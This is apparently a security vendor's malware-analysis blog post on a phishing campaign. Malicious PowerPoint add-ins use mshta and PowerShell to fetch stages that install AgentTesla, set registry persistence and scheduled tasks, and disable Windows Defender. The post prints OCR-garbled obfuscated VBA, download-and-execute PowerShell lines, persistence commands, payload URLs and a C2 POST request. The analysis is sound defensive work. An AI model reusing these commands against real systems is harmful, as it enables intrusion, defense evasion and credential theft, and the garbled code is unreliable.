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Summary

In 2021, malicious Office documents accounted for 37% of all malware downloads
detected by Netskope, showing favoritism for this infection vector among attackers. This
is likely due to the ubiquitous usage of Microsoft Office in enterprises across the globe.
Throughout 2021 we have analyzed many techniques used by attackers to deliver
payloads through infected documents, which included the return of Emotet, a campaign
that primarily uses infected documents to spread malware.

Since December 2021, Netskope Threat Labs has observed an increase in the usage of
one specific file type from the Microsoft Office suite: PowerPoint. These relatively small
files are being delivered through phishing emails, then downloading and executing
malicious scripts through LoLBins, a common technique often used to stay under the
radar.

We spotted this campaign delivering multiple malware, such as AveMaria (a.k.a.
Warzone) and AgentTesla. These files are using Bitly to shorten URLs and different cloud
services like MediaFire, Blogger, and GitHub to host the payloads. In this blog post, we
will analyze a malicious PowerPoint Add-In file detected by Netskope that delivers
multiple malware, including AgentTesla.

Stage 01 — Infected PowerPoint File

The infection flow starts with a phishing email that carries the infected file as an
attachment, along with a message that lures the victim to download and open it.
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Good moming...

| hereby ask to be given the best price and postage of the item as attached below (especially the one with the blue dot).
Please include the catalog if any.

We are waiting for the offer as soon as possible.

Thank you for your attention.
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Good moming...

| hereby ask to be given the best price and postage of the item as attached below (especially the one with the blue dot).
Please include the catalog if any.

We are waiting for the offer as soon as possible.

Thank you for your attention.

Phishing email with a malicious attachment.

The file is fairly small and it doesn’t contain anything but the malicious VBA macro.
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Crder|li=t=

H]
],rpe: Microsoft PowerPoint Addin
Size: 16.0 KB

Natashipy

Crder list=

PRI
],rpe: Microsoft PowerPoint Addin
Size: 16.0 KB

MNatashipp
Infected PowerPoint file.

The macro is obfuscated and it uses an internal function to decrypt important strings at
runtime.

Attribute VB Name = "Modulsl"
Sub huto Open()

Set O = Createfbject (ndjkQouRc (" . BB = EEET Z * 17 =00

ENE SN ; TSNy @, "a2jcyXSAyE")

Set M = O.CreateCbject (ndjkCouRc (" A" ERENAEE ' DXEE Y 1 ENEEE", "QTmepWovL™))

HSet 5 = M.Exec(ndjkCouRc ("EESEEENEE", "1Z7akRp02™) + ndjkCouRc ("=RIEIEENEII:ZC00Tn", "NkanJa4H1"™) + Chr (150)
ndjkOouRc ("' 'Z.'0c"' (39+DEEAEA ! #Re?", "pl4JHGESQ") + ndjkOouRc("gc2k"™, "GHNQEQZIAD=") + Chrs{99) & Chr$(58)
Chr$(92) & Chr3({119) & Chr3(105) & Chr3(110) & Chr$(100) & Chr3(111) & Chr$(119) & Chr(115) _

Chr(92) & Chr$(115) & ChrS(121) & ChrZ(115) & Chr£(116) & Chr£(101) & ChrZ(109) & ChrZ(51)

Chr$(50) & Chr$(92) & Chr$(99) & Chr$(97) & Chr$(108) & Chr$(99) & Chr$(92) & Chr$(46€) & Chrs(46) _
Chr$(92) & Chr5(109) & Chr$(115) & Chr3(104) & Chr$(116) & Chr(97) & Chr$(32) & Chr3(104) & Chr$(116) _
Chr$(116) & Chr$(112) & Chr$(115) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(104) & Chr$(97) & Chr$(104) _
Chr3(97) & Chr3(104) & Chr3(97) & Chr3(104) & Chr3(104) & Chr3(97) & Chr3(115) & Chr3(100) & Chrd(64) _
Chr$ (106) & Chr35(46) & Chr$(109) & Chr3(112) & Chr$(47) + Chr3(107) & Chr$(100) & Chr$(1159) & Chr$(111) _
"ogwgwgerheurfje™)

o+

RO R B

M=agBox (5.5tdCut.Readill)

Attribute VB Name — “Modulcl®
Sub Duto Open()

Set O = CreateObject (ndjkOouRc (" . IEDNE TR 7 Z * W ERH EEEE DA - TSy ) El", "ajcyX5LyF")

J5et M = O.CreateObject (ndjkCouRc (" A" EREHAEE " DXEE > LEREE", "QTmupWovil™))

HSet 5 = M.Exec(ndjkCouRc ("EESEEENEE", "1Z7akRp02™) + ndjkCouRc ("=RIEIEENEII:ZC00Tn", "NkanJa4H1"™) + Chr (150)
ndjkOouRc{"''Z."'0="' ([39+ 0N T#RE?", "pN4JHGESQ") + ndjkOouRc("gcZh", "GHOBQZZDe") + Chrf(99) & Chr#(58)
Chr$(92) & Chr$(119) & ChrS(105) & ChrS(110) & Chr£(100) & Chr£(11l) & Chr$(119) & Chrs(115) _

Chr$(92) & Chr$(115) & Chr$(121) & Chr$(115) & Chr$(116) & Chr$(101) & Chr$(109) & Chrs(51)

Chr$(50) & Chr3(9%2) & Chr3(99) & ChrS(97) & Chr3(108) & ChrS(93%) & Chr3(92) & Chr3(46) & Chr3(46) _
Chr$(92) & Chr5(109) & Chr$(115) & Chr3(104) & Chr$(116) & Chr$(97) & Chr$(32) & Chr3(104) & Chr$(116) _
Chr$(116) & Chr$(112) & Chr$(115) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(104) & Chr$(97) & Chr$(104) _
Chr£(97) & Chr3(104) & Chr$(97) & Chr$(104) & Chr3(104) & Chr$(97) & Chr$(115) & Chri(100) & Chr$(e4) _
Chr$(106) & Chr3(46) & Chr$(109) & Chr3(112) & Chr$(47) + Chr3(107) & Chr$(100) & Chr3(119) & Chr3(111) _
"ocgwgwgerheurfje™)

o+

B R B

MagBox (5.5tdCut.Readhll)

Obfuscated VBA code within the infected PowerShell file.

The script deobfuscation is straightforward and leads to the following VBA code.
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Command executed by the malicious PowerShell file.

This technique uses Outlook (COM Object) to execute PowerShell, which bypasses the
child process created by PowerPoint.

v [y OUTLOOK.EXE
>

(='W

E mshta.exe

v [ OUTLOOK.EXE
5

b

E mshta.exe

PowerShell spawned by Outlook’s process.

The script is executed with a combination of PowerShell and mshta, a similar technique
employed by Bazarloader.
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ﬁ mshta.exe (4924) Properties —

Microsoft (R) HTML Application host
Microsoft Corporation

Version: 11.0,19041.1

Image file name:

Memaory Environment Handles GPU Disk and Metwork
General Statistics Performance Threads Token
File

| C:Windows'\System32\mshta.exe

|

Comment
Modules

2L

B Information

“cr\windows\system32\calch, . \mshta. exe”
https: /fhahahahhasd @j.mp kdwocgwawgerheurfig|

[ mshta.exe (4924) Properties — O >

Disk and Metwaork
Threads Token

Handles GPU
Performance

Comment
Modules

Environment
Statistics

Mernory
General

File

Version: 11.0.19041.1

Microsoft (R) HTML Application host

Microsoft Corporation

Image file name:
| C\Windows\System32\mshta. exe % | | EE

S

r

B Information

https://hahahahhasd@j. mpkdwocqgwgwgerheurfje

“o:\windows'system 32\calch, \mshta.exe™ | I

Malicious script being executed through LoLBins.

Stage 02 — VBS File

The URL contacted by the mshta binary is shortened through the Bitly domain “.mp”, and

the payload is hosted on MediaFire, a cloud service for file storage and sharing.

The next stage is a VBS script that is lightly obfuscated within an HTML page, which is

decoded and executed through a simple JavaScript function.
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[ kdwocqwawaerheurfie E3

1 [H<scripts

2 L= —

3 document .write (unescape
"$3CHTML%3E%0A%3CHTML:3E20A%3Cmetat20http-equivi3Ds22Content-Type$223i20content®3D%22text/html$3B%20
charset%3Dutf-8%22%3E%0A%3CHEAD%3E%0A%3Cscript320language%3D3%22VBScript$22%3E30Apink%20%3D%20%22p0w
ersHell..exe%20-NoProfile320-ExecutionPolicy320Bypassi20-Command320i327E$27xX%28iwrs28%2Thttps%$3a//8d
b3b%la-£a93-41%b-b51b-0a69902759¢c5.usrfiles.com/ugd/8db3b9 £926d447972f4d23b3c2af4abec9467e.txt33Fd
n33Drendomcexc$27%29%20-useB129%3Bi%27E$27x%28iwrs28%27Thttps$3a//8db3b%1la-2a93-415%b-b51b-026990275%
c5.usrfiles.comfugdedb3b9_92ec&SéGGfl34f3bb502662333ca&ffb.txt%SFdn%SDrendomtext%Z?%29%2G—use8%2§%
3B%223%0A%0ACONSt320tpok%20%30%20%26H8000000120R1opaskkk320%3D%20%22.%22%0A5t%320kasodkmwmE20%3D%206
etCbhbject328%22winmomt s%3RA%5CE5C%22%20%26%2010paskkk:20%26%20%22%5Croots5Cdefaul t33A5tdRegProvs22%29
F0Apoloaosds20%3D%20%2250FTWARESSCHicrosoft3SCWindowss5SCCurrentVersionsSCRuns2230kakosdwdjdws20%3D%
20%22cijhutyyaggwi2230Akasodkmwm. SetStringValue320tpok%2C320poloaosdi2Ci2lakosdwdjdw:2C220pink30Ase
t320MicrosoftWINdows320%3D320GetCbject32i5trReverse32832260A85DF40C00-5BDA-0D11-0FC1-22CD5359F33Awen
$22%29%293%0AMicrosoftWINdows%20_ %0A.3%20 3%0RRUN%20 %0Apink%2C0%0A%0A%0Rargs:20%3D%20%22/createt20/sc
$20MINUTESZ20/mo%2063%20/tn%20%22%22%22%22kbnvhywghjo222322%22%22%20/%22320%26%20_%0A%22F320/tri20%2
2%22%22%22%0C%22%22%22%22M322%20%26%20%223%22%20%26%20%22H%22%20%26320%220%22%20%26%20%22R%22%22%22
$22%5C%22%22%22%22https%:3A//kukaduni kkk@kdaoskdokaodkwldld.blogspot.com/p/19. html¥5C%223%22322%22%22
%0A%0A%0A%205et32050m0sa320%3D%20Get0bject % 28%22newt3A13709620-C2T9-11CE-A49E-444553540000%22%29%0A
20ASomosa%20 %0A%20.3%20 30AShellexecute%Z05trReversei2B322s322+322k322+3225%22+4322a%224322¢0%22+4%220
222+%220%22+3225%22%29%20 %0A%20%2Cargs%20_%0A%20%2C%20_%0A%20%22%22%20 %0A%20%2C%20_%0A%205trRever
Se%28%22Nn322+322e%224+322pF22+%220%822%25%20%2C%20_ $0A%20030A%0A%0Ars20%3D3%205crReverse%28%225%22%25%
O0Am%20%3D%205crReverse%28%22M322329%0Ap%20%3D%205crReverset28%22H32232930Atus20%3D%205trReverse 283
22T%22%29%0Ax32033D%205¢trReverse328322%22322322329%00ha%20%3D%205crReverse328322a%22%2930Aculik%20%
3D%205trReverse%28%22%22%22%22%25%0RAcalct20%3D%20x%20+%20m%20+%20r%20+%20p%20+%20tut20+%20ha%20+%20
culik30RAConst320halaluyat20%3D%20%26H30000001%0Amagolia%20%3D%20%22.%22%0A5t%20Pologachi%20%3D%206
etCbject3 283 22winmgmts33A%5CE5CE22%520%26320magolia%20%26%20%22%5Croot35Cdefanlti3A5tdRegProvi22%29%
Ohthreefifty320%3D%20%2250FTWARELSCHicrosoft35CWindowsE5CCurrentVersiont5CRuns2230AMagachuchugaga%2
0%3D%20%22pilodkis%$22%30Apathanogalulu$20%3D%20calc%20+320%22%22322http%3L/ /www. starinkxxgkular . duck
dns.org/s1/19.txt%22%22%22%04Pologachi . SetStringValue$20halaluya%2C320threefifty$2C%20Magachuchugag
a$2C320pathanogalulut0A%0Awindow. res3izeTo%200%2C%200%0R3el1f.close$0A%0AE3C/ script$3E$0A%3C/ head$3ES
0A%3Chody%3E30A%3C/bodys3E%0A%3C,/ htmls3E")) ;

4 ff—>
5 —<fscript4
—
[ kdwocqwawaerheurfje [ |
1 [Hescript>
2 El=—
3 document .write (unescape |

" 3CHTML:3EX0A%3CHTMLE3E20A%3Cmetat20http—equivi3DE22Content-Type%22%20content$3D%22text /html%3B%20
charset%3Dutf-8%22%3E%0A%3CHEAD%3E%0A%3Cscript320language%3D322VBScript$22%3E30RApink%20%3D%20%22p0w
ersHell..exe%20-NoProfile320-ExecutionPolicy320Bypassi20-Command320i327E$27xX%28iwrs28%2Thttps%$3a//8d
b3b9la-ea93-419b-b51b-0a69902759c5 . usrfiles.com/ugd/8db3b3 e926d447972f4d23b3c2af4abec9467e . txt33Fd
n%3Drendomtext$27%29%20-useB%29%3B1%27E%27X%28iwrs28%27https%3a//8db3bY%la-ea93-41%b-b51b-0a69902759
cs.usrfiles.comfugdfﬂdbSbE_ﬁzecﬂSGGGflSﬂbebsozéézSSBCaﬂffb.txt%BFdn%3DIendDmtext%2?%29%20—u3e8%29%
3B%2230A%0ACONSt320tpoks20%30%20%26H800000012 0 opaskkk?20%3D%20%22.32230A5et32 0kasodkmwm®20%3D%20G
etCbhbject 283 22winmomt s33A%5CE5CE22%20%8263201opaskkk320326320%2235Croot¥5Cdefault33AS5tdRegProvi2232s
%30Apoloacsd320%3D320%2250FTWARES SCMicrosoft35CWindows$SCCurrentVersion$5CRuns2230Aakosdwdjdws20%3D%
20%22cjjhutyyaggwi2230Akasodkmwm. SetStringValue320tpok%2C320poloaosd$2Ci20akosdwdjdw$2C:20pink3ilAse
t320MicrosoftWINdows%20%3D%20Get0bject%285trReverse%28%22B0A85DF40C00-9BDA-0D11-0FC1-22CD5359F%3Awen
$22%29%293%30AMicrosoftWINdows320 %0A.3%20 %0RRUN%20 %0Apink%2CO0%0A%0A%0Rargs:20%3D320%22/create:20/sc
$20MINUTES20/mo%2063%20/tn%20%22%22%22%22kbnvhyWwghjo%s22%22%22%22%20/%22%20%26%20_%0A%22F%20/trs20%2
2E22%22%22%5C%22%22%22%22M%22%20%26%20%225%22%520%26%20%22H%22%20%26%20%226%22%20%26%20%22R%22%22%22
$22%5C%22%22%22%22https%3A//kukaduni kkk@kdaoskdokaodkwldld.blogspot.com/p/19. html $5C%22%22%22%22%22
*0A%0R%0R%205et32050mosa320%3D%20GetCbject¥28%22newt3A13T7059620-C2T79-11CE-A459E-444553540000%22%29%08
%0ASomosat20_ %0R%20.3%20_%0AShellexecute%205trReversei28322s%22+%22k322+3225%22+322a%22+4%220%22+%220
$22+4%22c%22+322s%22%29%20_ %0A320%2Cargs320_30A%20%2C%20_%0A%20%22%322%20_%0A320%2C%20_%0A%205trRever
Se328%22n%22+322e322+4322p322+43220%22%25%20%2C%20_ 30A%200%0A%0A%0Ar$20%3D%20StrReverset28322322325%
0Am%20%3D%205trReverse%28%22M%22%29%0Ap%20%3D%205trReverse%28%22H%22%29%0Atu%20%3D%205trReverse%28%
22T%22%29%0Rx320%3D%205trReverset28%22%22%22322%29%0Aha%20%3D%205trReverset28322a%22%29%0Rculiks20%
3D%205crReverses28%22%22%22%22%29%0Rcalct20%3D%20x%20+520m%20+%520r520+%20p%20+%20cu%20+520ha%20+%20
culik30RAConst320halaluyas20%3D%20%26HE0000001%08magolia%20%3D%20%22.3%22%0A5et320Pologachi%20%3D%206
etCbhbject3 2832 2winmomts33A%5CE5C%22%520%26320magolia%20%26%20%22%5Croot35Cdefanl ci3A5tdRegProvi22%25%
Ohthreefifty320%3D%20%2250FTWARELSCHicrosoft35CWindowsE5CCurrentVersiont5CRuns2230AMagachuchugaga%2
0%3D%20%22pilodkis3$2230hpathanogalulu$2083D%20calct20+320%22%22%22http%3L/ /fwww. starinkxxgkular . duck
dns.org/=1/19. txt%22%22%22%0APologachi . SetStringValue%20halaluya$2Ci20threefifty$2CE20Magachuchugag
a$2C%20pathanogalulutlA%0Awindow. resizeTo%200%2C%200%0Aself.close$0A%0AE3C script$3E$0A%3C/ head$3ES
0A%3Chbody%3E204%3C,/body%3E30A%3C/ html1%3E") ) ;

4 ff—=

5 —(fscriptﬂ

Second stage executed by the infected PowerPoint file.

Once deobfuscated, the VBS script performs multiple tasks to:
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1. Create a persistence mechanism through the Windows registry to execute two
PowerShell scripts from external URLs. The first script delivers AgentTesla, and the
second script is used to disable some OS defenses, such as Windows Defender.

2. Create a scheduled task that executes a script from an external URL through mshta
approximately every hour. This script delivers a cryptocurrency stealer developed in
PowerShell, hidden within a fake web page hosted with Blogger.

3. Create a persistence mechanism through the Windows registry to execute a script
from an external URL using mshta. Unfortunately, we can’t tell what was being
executed as this URL was offline at the time of the analysis.

ps_cmd = "powsrshell.exe -NoProfile -ExecutionPolicy Bypass -Command

Set objl = GetObject(" \.\root\default:StdE
objl.5ec5tringValue &HSCUOODUI "SOFTWARE\Microso 7 ", ps_cmd

set MicrosoftWindows = GetObject ("new w1 F935DC22-1CF0-11D0-ADBS-00C04FDSEA0B™) 1
MicrosoftWindows.Run ps cmd, 0

args = "/create /sc MINUT

Set obj2 = GetObject ("new:13709620-C27 ) 2
obj2.Shellaxecute "schrasks",

Set obj3 = Gecobjectt

mshta cmd = "m 3

obj3. Set Sr.ring‘\.-al ue EHBOODODOD1, "SC ersion\Run”, "pilodkis", mshta cmd

ps_cmd = "powsrshell.exe -NoProfile

Set objl = GetObject(" :\\.\root\default:S

objl.5ec5tringValue &HSCUOODUI "SOFTWARE\Microso 2 7 an™ , X ", ps_cmd

set MicrosoftWindows = GetObject ("new:FS35DC22-1CF0-11D0-ADBS-00C04FDSSA0B™) 1
MicrosoftWindows.Run ps cmd, O

args = "/create /sc MINUTE /mo €3 3 F

Set obj2 = GetObject ("new:13709620-C27 ) 2

obj2.Shellexecute "schrasks”,

Set obj3 = Ge\:Objectt gmts:\\.\roo
mahta cmd = "m. :
obj3. Sc Sr.rlng‘\'al ue &HBOOODDD1, "SOFTW

ersion‘Run”, "pilodkis", mshta cmd

Malicious VBS responsible for the next stages.

Stage 03 — AgentTesla

The first PowerShell script is responsible for executing AgentTesla, which is a .NET-
based Remote Access Trojan with many capabilities, such as stealing browser’s
passwords, capturing keystrokes, clipboard, etc.

The code is slightly obfuscated, protecting variables, function names, and strings. There
are two large arrays that contain:

1. Compressed bytes of AgentTesla;
2. Compressed bytes of a .NET Injector used for process injection;

None of the executables are written to disk, which characterizes this attack as fileless.
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aciwmdoaiuwoduiamwodiumaowduimdaowduacivmdoaiuwoduiamwodiumaowduim System. IC.MemoryStream

SgzipStream =
daowduaoiwmdoaiuwoduiamwodiumaowduimdaowduaoivmdoaiuwoduiamwodiumaowduindaowduaoivmdoaiuwoduiamwodiumaowduimdaowdu
aoiwmdoaiuwoduiamrodiumaowduimdaowduaoivmdoainwoduiamwodiumaowduim System. I0.Compression. GzipStream $input, ([IO.
Compression.CompressionMode] : :Decompress)

SgzipStream.CopyTo( Sountput )

SgzipStream.Close()

Sinput.Close()

[byvte[]1] S$byteOuntArray = Soutput.Tolrrav()

Write-Output SbyteOutArray

s Agent Tesla

FUNCTION COMBINEMEANINGSCCBOLTPCOTASSIUM (5IAFKWBOIPASKBAMAGSWOIARDHKASNDAS)

=K
$TARWBQIPASKBAMAGSWQIARDHRASNDAS = § ($IARWBQIPASKBAMAGSWQIARDHRASNDAS —join [Environment]::NewLine)
$TARWBQIPASKBAMAGSWQIARDHRASNDASQ = [string]::join("", ($IARWBQIPASKBAMAGSWQIARDHRASNDAS.Split (" n")))
return $IARWBQIPASKBAMAGSWQIARDHRASNDASQ

“1

[bvte[]1] Snona

acivmdoaiuwoduiamwodiumaowduindaowduacivmdoaiuwoduiamwodiumaowduim System. IC.MemoryStream

SgzipStream =
daowduaoiwmdoaiuwoduiamwodiumaowduimdaowduaoivmdoaiuwoduiamwodiumaowduindaowduaoivmdoaiuwoduiamwodiumaowduimdaowdu
aciwmdoaiuwodulamwodiumaowduimdaowduaoiwmdoaiuwoduliamwodiumaowduim System. IO, Compression.GzipStream §input, ([IO.
Compression.CompressionMode] : :Decompress)

SgzipStream.CopyTo( Sountput )

SgzipStream.Close ()

Sinput.Close()

[bvte[]1] $byteOutArray = Soutput.Tolrray()

Write-Output SbyteOutArray

, Agent Tesla

FUNCTION CCMEBINEMEANINGSCOBOLTPCTASSIUM ($IARWBQIPASKBAMAGSWQIARDHEASNDAS)

Bl
$TARWBQIPASKBAMAGSWQIARDHRASNDAS — § ($IARWBQIPASKBAMAGSWQIARDHRASNDAS —join [Environment]::NewLine)
$TARWBQIPASKBAMAGSWQIARDHRASNDASQ = [string]::join("", ($IARWBQIPASKBAMAGSWQIARDHRASNDAS.Split (" n")))
return $IARWBQIPASKBAMAGSWQIARDHRASNDASQ

~}

[bvte[]1] Snona

PowerShell script responsible for executing AgentTesla.

Once both files are decompressed, the script loads the injector and calls a function
named “Execute”, responsible for injecting AgentTesla payload into an instance of
“aspnet_compiler.exe”, which is a binary from the .NET framework.
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SPGCHIBRHVOGCPHIVBRNBHVGIE =
dacwd doaiuwodui 4 =l A swodud

mdcaiuwodui amwodi

iamwodiumaowduim -TypeName 'Systen

$FGCHIBREVGCFEIVBRNEEVGIE . Rdd

P")

$FGCHIBRHVGCFHIVBENBHVGUBA = COMBINEMEANINGSCOBOLTPOTASSIUM(
$FCCHIBREVGCFHIVERNBHVGIE)

SRDTTFYGJHRUYGTFRYTFYGUHIJGYYGU = D4FDSC5BS266824C4EEFCE3E0CESFDIFAR(
§PCCHJBRHVGCFHIVBRNBHVGIBA) ;try{$n=_ ;while(§n -1t =) {§Run=(
SRDTTE FRYTF IJOYYOU -Join "'} I1°E"X:§n++}}cacchi)

SPGCHIBRHVGCPHIVBRNBHVGIE =

wwodui
i - A4

iamwodiumsowduim -TypeMame 'System.Collections.
$FGCHIBRHVGCFHIVERNBEVGIE . Add {

")

= COMBINEMEANINGSO

$F TEOTASSIUM(
$FGCHIBREVGCFHEIVERNEEVGIE)

SROTTFYGJHEUYGTFRYTEYGUHIJGYYGU = D4FDSCSBS266824C4EEFCI3E0CESFDIFAR(
SFGCHIBEHVGCFHIVBENBHVGIBA) :cry{$n=":while($n -1t =) {§Run=(

SRDTTE FRYTF IJOYYOU -Join "'} I1°E"X:§n++}}cacchi)

[byte[]] §bin = Gec-DecompressedByteArray §bin_arr
[byte[]] §bin2 = Gec-DecompressedByteArray §bin2 arr

[Reflection.Assembly] : :Load(§bin2) . GetType { 'prol FUI
Invoke (§null, [cbject[11(
*C:\Windows\Microsoft .NET\Framework\v

-FA"} .GetMethod (' Execute’

mpiler.exe',§bin))

).

[byte[]] $bin = Gec-DecompressedByceArray $bim_arr
[byte[]] §bin2 = Gec-DecompressedByteArray §bin2_arr

[Reflection.Assembly) : :Load(§bin2) .GetType ( 'prol FUL
Invoke (§nmll, [ckiect[1](
'Ci\Windows\Microsoft .NET\Framework\v,

-FA'} .GetMethod (' Execut

mpiler.exe',§bin))

=)

Removing a minor obfuscation in the PowerShell script, showing how the payload gets executed.

Most of the injector’s function names are obfuscated, but we can see the namespace, the

class, and the method that is being called to inject AgentTesla into a process.

Furthermore, an injector using “projFUD” as namespace was previously spotted in the
wild, used by other malware such as ASyncRAT and RevengeRAT.
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https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat

Dynamic

= PE

Erences

se Type and Interfaces
B Derived Types

Injector’'s decompiled code.

AgentTesla is developed in .NET and this sample is using a protector known as
“Obfuscar”, which creates a few mechanisms in the code to make analysis harder.
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Time date stamp Size of image

0003 = 2021-11-12 08:22:51 0003000

Scan Endianness Mode

Detect It Easy(DiE) LE 32-hit

Protector Obfuscar(1.0)[-]
Library JETR2.0.50727)[-]
Compiler VB.MET(-)[-]

Linker Microsoft Linker(8.0)[GUI32]

Time date stamp Size of image Resources
2021-11-12 08:22: 0003000 " | | version
Endianness Mode Architecture Type

Detect It Easy(DiE) LE 32-bit I586 GLUI

Protector Obfuscar(1.0)[-]
Library JNET(e2.0.50727)[-]
Compiler VB.MET(-)[-]

Linker Microsoft Linker(8.0)[GUI32]

AgentTesla sample delivered by the infected PowerPoint file.

Despite the protector’s usage, it’s still possible to see clean code from the decompiler, like
this method that sends HTTP requests.
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result;

Function used by AgentTesla for network requests.

All the strings used by AgentTesla are encrypted within the binary, where all the
characters are stored in a single array of bytes. Once it’s running, the code decrypts all
the characters in the list using a simple XOR operation with the encrypted byte, its
position on the list, and the decimal 170. Whenever AgentTesla needs to access a string,

it calls a function that returns the string by accessing its position in the list, and the
respective length.
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String Access

Encrypted
Strings

Decryption
Routine

String Access

Encrypted
Strings

Decryption
Routine

AgentTesla string encryption scheme.

Using the same logic, we can use a combination of regex and a Python script to decrypt
all the strings in the binary. The complete list of decrypted strings can be found on our
Github page.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/blob/main/AgentTesla/IOCs/AgentTesla_decrypted_strings.txt

HKEY 1URREHT USER\Software\RimArts\B2\Settings
HKEY 1URREHT USER\SOFTWARE\Vitalwerks\DUC

HKEY 1URREHT USERSoftwareFTPWareCOREFTPSites
HKEY LOCAL MACHINE\SOFTWARE\Vitalwerks\DUC
Host

HOST

HostName

HTTP Password
http://103.147.185.68/j/pl9xw/mawa/48608c2b91739edc3959
http://DynDns.com

http://xhzVYe.com

IceCat

IceDragon

IE/Edge

image/jpeg

image/jpg

IMAP Password

HKEY 1URREHT USER\ SGfTuarexﬂlmArTstz\SETTlnqs
HKEY 1URREHT USER\SOFTWARE\Vitalwerks\DUC

HKEY 1URREHT USERSoftwareFTPWareCOREFTPSites
HKEY LOCAL MACHINE\SOFTWARE\Vitalwerks\DUC
Host

HOST

HostName

HTTP Password
http://103.147.185.68/j/pl9xw/mawa/48608c2b91739edc3959
http://DynDns.com

http://xhzVYe.com

IceCat

IceDragon

IE/Edge

image/jpeg

image/jpg

IMAP Password

Decrypted strings from AgentTesla.

Furthermore, AgentTesla sends an HTTP POST request to a malicious server with
information about the infected machine, such as the computer name, username, IP
address, etc.
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POST /j/pl9xw/mawa/48608c2b91739edc3959.php HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:80.8) Gecko/20100101 Firefox/86.0
Content-Type: application/x-www-form-urlencoded

Host: 103.147.185.68

Content-Length: 478

Expect: 108-continue

Connection: Keep-Alive

p=3BPWjKtIDgWiLrR6V9s5ZwQ8oMZYM3HEeYR1LZSOMEQPYk42C/

Dnew406q8RCTHI1AA3BGXStPgARWLDXI8SPYGrZbHVF61ETr scRgbSohhDVGCGKoKUOUCSITev3p7M3Kkt BtMUuuzi0fggfcPT9gFKkEEEDLDDS5c97kk13Qh0K6%2BNb12VE
ds2Eqowx3KTLISRCm/KYhovGzJ61DPJI50Tkp2V2YPqY]6TzA49JabHadixiX/XkzCytam2/
XB7c8mi92pDE3@c)iPK45ezPpH)3wbtxDwge6QrebiNa735%2BvI7BmwGks Tqwt L3pb%2BDxH6SSAr iMIZsudSKbx80Z@kNB] SA0CTWVWM1STVFBQGEBXacUbcqX2Husd/
n6i0zBFn27e5PEITSR2vGqvPYnlsfTtrubrLI4jQenhGiNDmxPRKx08YgMMbzdoYPq%2BhQrwmedns9XcuNUCVY=HTTP/1.1 200 OK

Date: Mon, 17 Jan 2022 19:08:41 GMT

POST /j/pl9xw/mawa/48608c2b91739edc3959.php HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:80.8) Gecko/20100101 Firefox/86.0
Content-Type: application/x-www-form-urlencoded

Host: 1©3.147.185.68

Content-Length: 478

Expect: 18@-continue

Connection: Keep-Alive

p=3BPWjKtIDgWiLrR6V9s5ZwQ8oMZYM3HEeYR1LZSOMEQPYk42C/

Dnew406q8RCTHI1AA3BGXStPgARWLDXI8SPYGrZbHVF61ETr scRgbSohhDVGCGKoKUOUCSITev3p7M3Kkt BtMUuuzi0fggfcPT9gFKkEEEDLDDSc97kk13Qh0OK6%2BNb12VE
ds2Eqowx3kTLI9RCm/kYhov6zJ61DPIS0Tkp2V2YPqY]6T2A49)abHadixiX/XkzCytam2/
XB7c8mi92pDE3@c)iPK45ezPpH)3wbtxDwge6QrebiNa735%2BvI7BmwGks Tqwt L3pb%2BDxH6SSAr iMIZsudSKbx80Z@kNB] SA0CTWVWM1STVFBQGEBXacUbcqX2Husd/
n6i0zBFn27e5PEITSR2vEqvPYnlsfTtrubrLI4jQenhGiNDmxPRKx08YgMMbzdoYPq%2BhQrwmedns9XcuNUCVY=HTTP/1.1 280 OK

Date: Mon, 17 Jan 2022 19:08:41 GMT

AgentTesla HTTP request.

Stage 04 — PowerShell

The second PowerShell file executed by the VBS script in the second stage is mostly
used to disable Windows Defender.

Sdown = MNew-Object System.MNet.WebClient
ffraw.githubusercontent.com/swagkarna/Byvpass-Tamper-Protection/main/Noudo.exe";

down.DownloadFile (Surl, Sfile)

kasodkaosd = Hew-COkbject System.Net.WekClient
Skasodkaosdsdmaowdk = "Lhttps
Skasdjwkdo = "C:“Users'\Fublic h.vbs';
Skasodkaosd.DownloadFile (S§kasodkaosdsdmaowdk , Skasdjwkdo) ;

down = Hew-Ckject System.MNet.WekClient
Surl = 'https://raw.githubusercontent.com/swagkarna/Bvpass-Tamper-Protection/main/NSudo.exe";

5file = "C:\Usezs'
down.DownloadFile (Surl, 5file)

iafire.com/file/ghbi3uvigolScpu?/ FINAL+MATN+vhbs+—+Copv.vbs/file"

kasodkaosd = Hew-OkJjsct System.Net.WeklClient
Skasodkaosdsdmaowdk = 'https
Skasdijwkdo = "C:%\Users \Fublic h.vbs';
Skasodkaosd.DownloadFile (§kasodkaosdsdmaowdk , Skasdjwkdo)

PowerShell downloading the payloads.

Once running, it downloads a file from GitHub named NSudo, which is used for privilege

escalation (TA0004). NSudo is executed as “TrustedInstaller” through the arguments “-
U:T".
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https://attack.mitre.org/tactics/TA0004/

E M2-Tearn M5udo £.2.1812.31

Maode Settings

* — Lser: TrustedInstaller

4 —

[ ]Enable all Frivileges

Open: |

,_l3 Warning: Please use NSudo CAREFULLY ! Run
3 m2-Team NSudo 6.2.1812.31 - X
Mode Settings
‘ — Iser: TrustedInstaller e
[ ]Enable all Privieges
Open: | o Browse
,_h YWarning: Please use NSudo CAREFULLY ! Run About

GUI from downloaded file “NSudo”.

Browse

About

The second download is a VBS script hosted on MediaFire, which uses NSudo and other
commands to disable Windows Defender and to add a few AV exclusions based on file

extensions, paths, and executable names.
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B

15 objShell.Run
16 objShell.Run
17 W3cript.Sleep 100

18 cutputMessage ("Add
1% outputMessage ("Add
20 outputMessage {"id

sers’\ Public\H.

21 outputMessage ("Add
22 outputMessage ("Add
23 outputMessage ("Add
24 outputMessage ("Add

25 outputMessage ("Ad
26 cutputMessage ("Add

27 cutputMessage ("Ad
28 outputMessage ("Add
28 lnu:ﬂtﬂesaage{"id:

1 If Not WScript.Arguments.Named.Exists("=lsvace") Then

2 Createfbject {"Shell.Applic “) .ShellExecute WScript.Fullllame _

a , "rmw g WScript.ScriptFullMame & """ /elevate®™, "%, "runas", 1

4 WScript.Quit

5 End If

€ On Error Resume Next

7 Set objShell = CreateObject ("Wsc

